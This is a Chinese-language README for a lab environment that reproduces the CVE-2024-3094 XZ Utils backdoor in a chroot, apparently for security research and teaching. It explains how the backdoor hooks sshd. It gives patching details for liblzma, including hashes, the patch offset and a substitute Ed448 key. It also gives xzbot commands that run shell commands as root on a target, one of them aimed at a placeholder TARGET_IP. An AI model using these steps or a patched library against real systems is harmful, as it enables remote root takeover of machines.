仅用于教育和授权的安全研究目的。
CVE-2024-3094 是 XZ Utils (liblzma) 版本 5.6.0 和 5.6.1 中引入的一个后门,于 2024 年 3 月 29 日由安全研究员 Andres Freund 发现。其 CVSS 评分为 10.0(严重)。
这是一个供应链攻击,由名为 "Jia Tan" (JiaT75) 的威胁行为者历时两年多实施。该行为者通过在项目内建立信任,最终获得共同维护者身份,并直接将后门引入发行版 tarball 中。
后门的运作方式如下:
liblzma.so 通过 glibc 的 IFUNC 机制 挂钩 OpenSSH 中的 RSA_public_decrypt() 函数,拦截 SSH 认证过程。system() 以 sshd 权限(root)执行嵌入的命令。本实验使用自定义 Ed448 密钥(而非原始行为者的密钥,该密钥从未公开)来复现后门机制。
在实际受影响的系统中没有使用 chroot。后门直接操作系统的 sshd,该 sshd 像加载任何其他共享库一样加载了恶意的 liblzma.so——对系统及其管理员来说完全透明。
在本实验中,我们仅出于实际原因使用 chroot:我们需要运行一个加载特定版本 liblzma.so 的 sshd,同时不替换宿主系统的库。这是针对研究环境的设计决策,并非反映后门在生产环境中的运作方式。
| 组件 | 描述 |
|---|---|
env_fs/ | 用作 chroot 的最小 Ubuntu 22.04 文件系统 |
env_fs/usr/lib/x86_64-linux-gnu/liblzma.so.5 | 使用自定义 Ed448 密钥修补的 liblzma 5.6.1 |
/etc/systemd/system/xzback.service | 在端口 2024 上启动易受攻击的 sshd 的 systemd 服务 |
/xzbot/xzbot | 从源码编译的漏洞利用客户端 |
原始后门需要非常特定的条件,这些条件在实验环境中不会自动存在。以下是必要的修改:
MagpieRYL 原始仓库中包含的 liblzma.so.5 使用了一个未知的 Ed448 密钥,与附带的 xzbot 二进制文件不一致。原始且真实的 liblzma.so.5.6.1 从 Debian 快照下载(sha256 已验证),并使用 amlweems/xzbot 中的 patch.py(seed=0)进行修补:
原始 sha256: 605861f833fc181c7cdcabd5577ddb8989bea332648a8f498b4eef89b8f85ad4
修补后 sha256: ea7206ab4b0c3479ff1b478c8803adc9e7aeba243254a9f601b626ef8aa80e3d
修补偏移量: 0x24470
原始行为者的 Ed448 公钥被替换为:
5b 3a fe 03 87 8a 49 b2 82 32 d4 f1 a4 42 ae bd
e1 09 f8 07 ac ef 7d fd 9a 7f 65 b9 62 fe 52 d6
54 73 12 ca ce cf f0 43 37 50 8f 9d 25 29 a8 f1
66 91 69 b2 1c 32 c4 80 00
原始服务使用 Type=notify,这要求 sshd 向 systemd 发送启动通知。chroot 内部的 sshd 不会发送该通知,导致超时。已更改为 Type=simple。
sshd 需要 /run/sshd 用于权限分离。该目录在 chroot 中不存在,并且每次重启后都会被清除,因为 run/ 是一个 tmpfs。通过一个 ExecStartPre 在每次服务启动前自动重新生成该目录来解决此问题。
./xzbot -addr 127.0.0.1:2024 -cmd 'echo pwned > /tmp/result'
cat /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
./xzbot -addr <TARGET_IP>:2024 -cmd 'echo pwned > /tmp/result'
命令在 chroot 内执行,因此后门上下文中在 /tmp/ 下创建的任何文件都存储在:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/
也就是说,如果命令是 echo pwned > /tmp/result,文件将位于:
/home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/result
要定位漏洞利用生成的任何文件:
find /home/user/CVE-2024-3094-backdoor-env-container/env_fs/tmp/ -type f
ssh: handshake failed: EOF 消息是预期且正常的。后门执行命令后直接关闭连接,而不建立 SSH 会话。这并不表示失败。
本实验使用自定义加密密钥对(seed=0)。修补后的 liblzma.so 仅接受使用相应私钥签名的 payload,此私钥即为本环境中编译的 xzbot 所使用的密钥。任何其他客户端都会收到 EOF 且命令不会执行。
本工具仅供教育和授权的安全测试使用。未经授权对不属于您或未经您明确书面许可的系统进行测试是违法的。作者对任何滥用行为不承担任何责任。